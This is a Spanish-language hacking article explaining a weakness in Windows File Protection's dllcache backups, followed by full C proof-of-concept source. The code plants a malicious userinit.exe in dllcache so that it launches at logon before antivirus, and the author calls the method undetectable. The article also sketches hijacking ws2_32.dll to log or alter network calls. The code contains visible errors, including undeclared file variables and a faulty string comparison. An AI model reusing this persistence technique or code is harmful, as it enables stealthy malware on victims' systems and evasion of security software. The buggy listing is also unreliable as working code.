Windows DllCache Attack
Windows a partir de su versión NT ha incluido una nueva característica llamada “Protección de archivos de Windows (WFP, Windows File Protection” encargada de reforzar la seguridad de su sistema, esta característica “protege” los archivos de sistema impidiendo que sean borrados. La forma en que lo hace es bastante simple, windows posee una carpeta llamada “dllcache” en la cual se guardan copias de seguridad de los archivos de sistema; de esta forma cuando algún archivo de sistema es borrado y/o reemplazado Windows procede a restaurar su copia de seguridad, evitando de esta forma el reemplazo de estos.
Documentación OficialWindows usa las firmas de archivo y los archivos de catálogo generados con firma de código para comprobar si los archivos de sistema protegidos son las versiones de Microsoft correctas haciendo de este modo que estos archivos solo puedan ser reemplazados mediante:
• Instalación de Service Packs de Windows con Update.exe
• Hotfix instalados con Hotfix.exe o Update.exe
• Actualizaciones del sistema operativo con Winnt32.exe
• Windows Update
Si un programa utiliza un método diferente para reemplazar archivos protegidos, WFP restaura los archivos originales. Windows Installer sigue las normas de WFP al instalar los archivos de sistema esenciales y llama a WFP con una solicitud para instalar o reemplazar el archivo protegido en lugar de intentar instalar o reemplazar el propio archivo
Cómo funciona la característica WFPLa característica WFP proporciona protección para los archivos de sistema mediante dos mecanismos. El primero se ejecuta en segundo plano. Esta protección se desencadena cuando WFP recibe una notificación de cambios en el directorio protegido de un archivo. Una vez que WFP recibe esta notificación, determina qué archivo se cambió. Si el archivo está protegido, WFP busca la firma de archivo en un archivo de catálogo para determinar si el nuevo archivo es la versión correcta. Si el archivo no es la versión correcta, WFP reemplaza el archivo nuevo con el archivo de la carpeta de caché (si está en ahí) o del origen de instalación. WFP busca el archivo correcto en las ubicaciones siguientes, en este orden:
1. La carpeta de caché (de forma predeterminada, %systemroot%\system32\dllcache).
2. La ruta de acceso de la instalación de red, si el sistema se instaló con la instalación de red.
3. El CD-ROM de Windows, si el sistema se instaló desde un CD-ROM.
Si WFP encuentra el archivo en la carpeta de caché o si se encuentra automáticamente el origen de instalación, WFP reemplaza el archivo sin advertir de ello. Si WFP no puede encontrar automáticamente el archivo en alguna de estas ubicaciones, aparece alguno de los mensajes siguientes, donde nombreDeArchivo es el nombre del archivo que se reemplazó y producto es el producto de Windows que está utilizando
•
Protección de archivos de WindowsLos archivos necesarios para que Windows se ejecute correctamente han sido reemplazados por versiones desconocidas. Windows debe restaurar las versiones originales de estos archivos para mantener la estabilidad del sistema. Inserte ahora el CD-ROM de su producto.
•
Protección de archivos de WindowsLos archivos necesarios para que Windows se ejecute correctamente han sido reemplazados por versiones desconocidas. Windows debe restaurar las versiones originales de estos archivos para mantener la estabilidad del sistema. La ubicación de red desde la que se deberían copiar estos archivos, \\servidor\recurso compartido, no está disponible. Póngase en contacto ahora con el administrador del sistema o inserte el CD-ROM de producto.
Debilidades de WFP En principio WFP parece ser un método bastante efectivo, las preguntas que salen a relucir son:
1. Si WFP protege a Windows, quien protege a WFP ?.
Respuesta: Aunque WFP verifique las firmas en los archivos de sistema en su path original, no verifica la firma de estos en el directorio dllcache, por ende una copia maligna que reemplace el archivo en dllcache y proceda a borrar el archivo en el path de sistema obligara a que WFP restaure la copia maligna tomándola como si fuera una original.
2. WFP tiene la ruta absoluta de los ficheros que restaura?.
Respuesta: No, WFP no comprueba que el fichero se encuentre en la ruta correcta, solo que se encuentre bien sea en %systemroot% o en % systemroot%\system32\, por ende y para poner un ejemplo si copiamos “wupdmgr.exe” de “systemroot%\system32\” a “%systemroot%”, y procedemos a borrarlo de su path original WFP no restaurara el archivo ya que una copia firmada se encuentra ubicada en el path del sistema o bien en los directorios especificados en la variable de entorno Path( no e verificado esto ultimo ), esto puede traer grandes dolores de cabeza reemplazando algunos programas( .exe ) que realmente siempre son buscados en su path absoluto en vez de cómo acostumbra Windows ejecutarlos directamente a la shell haciendo que el mismo los busque en los directorios especificados en la variable de entorno “Path”; esto puede tomarse como una medida de seguridad al asegurarse que el programa invocado sea realmente el que se busca pero gracias a WFP esto se convierte mas en un problema.
Explotando el falloFalta solo en detenernos un segundo a ver cuantos archivos o librerías podríamos reemplazara y que lograríamos con ello, solamente por poner un ejemplo, si lográramos reemplazar la copia de seguridad de “ws2_32.dll”, luego borrar esta librería y reemplazara con una copia propia que sirviera de “hook”:
App --> WSASend --> ws2_32.dll (falsa) --> WSASend --> ws2_32.dll(verdadera)
Esto nos permitirá realizar un hook a nivel de dll, simplemente guardando logs de los argumentos con que se ve invocada cada función y luego llamando a la verdadera función con los argumentos o bien sea modificándolos.
En la parte en que me centre fue en lograr un “método” de añadidura al inicio que no fuera detectado por ningún antivirus y que fuera infalible, investigando un poco me encontré con “userinit.exe” este programa de sistema es el encargado de iniciar después de que nos loguearnos, ya que en el recae a responsabilidad de cargar las preferencias y configuración de usuario, de esta forma reemplazándolo tendremos acceso al sistema antes que ningún otro proceso o servicio configurado para nuestro usuario, incluso antes que los propios antivirus, siendo indetectable ante los mismos, e diseñado un sencillo código para demostrar esto:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#define BUF_SIZE 1024
#define EXE_NAME "userinit.exe"
int MyCopyFile( char *From, char *To)
{
char *Buf = ( char * )calloc( BUF_SIZE + 1, sizeof( char ));
long num;
if (!From || !To || !(a = fopen( From, "rb")))
return 0;
if (!(b = fopen( To, "wb"))) {
fclose( a );
return 0;
}
fseek( a, 0, SEEK_SET);
fseek( b, 0, SEEK_SET);
do {
memset( Buf, 0x00, BUF_SIZE);
num =fread( Buf, 1, BUF_SIZE, a);
} while (fwrite( Buf, 1, num, b) == BUF_SIZE);
free( Buf );
fclose( a );
fclose( b );
return 1;
}
int mystricmp( const char *Str1, const char *Str2)
{
if (!Str1 || !Str2)
return 0;
while ( *Str1 && *Str2 ) {
if (toupper( *++Str1 ) < toupper( *++Str2 ))
return -1;
else if(toupper( *Str1 ) > toupper( *Str2 ))
return 1;
}
if ( *Str1 || *Str2 )
return *Str1 == 0 ? 1 : -1;
return 0;
}
int main( int argc, char *argv[])
{
char *Path = ( char * )calloc( MAX_PATH + strlen( EXE_NAME ) + 8, sizeof( char ));
char *Copy = ( char * )calloc( MAX_PATH + strlen( EXE_NAME ) + 8, sizeof( char ));
GetSystemDirectory( Path, MAX_PATH);
GetWindowsDirectory( Copy, MAX_PATH);
strcat( Path, "\\");
strcat( Copy, "\\");
strcat( Copy, EXE_NAME);
strcat( Path, EXE_NAME);
if (!mystricmp( argv[0], Path)) {
WinExec( Copy, SW_NORMAL);
MessageBox( GetActiveWindow(), "Y aca me quedo", "Aqui estoy", MB_OK);
} else {
char *Neo = ( char * )calloc( MAX_PATH + strlen( EXE_NAME ) + 32, sizeof( char ));
char *Service = ( char * )calloc( MAX_PATH + strlen( EXE_NAME ) + 32, sizeof( char ));
GetWindowsDirectory( Service, MAX_PATH);
GetSystemDirectory( Neo, MAX_PATH);
strcat( Service, "\\ServicePackFiles\\i386\\");
strcat( Service, EXE_NAME);
strcat( Neo, "\\dllcache\\");
strcat( Neo, EXE_NAME);
if ( MyCopyFile( argv[0], Service) )
remove( Neo );
if ( MyCopyFile( argv[0], Neo) ) {
MyCopyFile( Path, Copy);
remove( Path );
}
free( Service );
free( Neo );
}
free( Path );
free( Copy );
return 0;
}
En el anterior código lo que e echo es comprobar si yo soy la copia “maligna” de userinit.exe si es así ejecutar la copia verdadera, mostrar un msgbox y luego salir, en caso contrario copiarme a dllcache, después realizar la copia del verdadero userinit.exe, remover el anterior( que no será restaurado ya que se encuentra en el path de sistema ), procediendo después a copiarme para que el sistema me tome como la copia verdadera, hasta ahora lo e testeado en Win2K SP4 y WinXP SP2 con excelentes resultados.
Notas FinalesLo acá expuesto es solo una pequeña parte de lo significativo que puede llegar a ser este fallo de diseño, cada uno tiene en sus manos una técnica hasta el momento “privada” ya que de ninguna manera me interesa el echo de esta sea difundida bien sea para crear conciencia de seguridad en Microsoft o para que a los 3 días este implementada en algún troyano de segunda, Saludos y hasta la próxima.
Bibliografíahttp://support.microsoft.com/kb/222193/es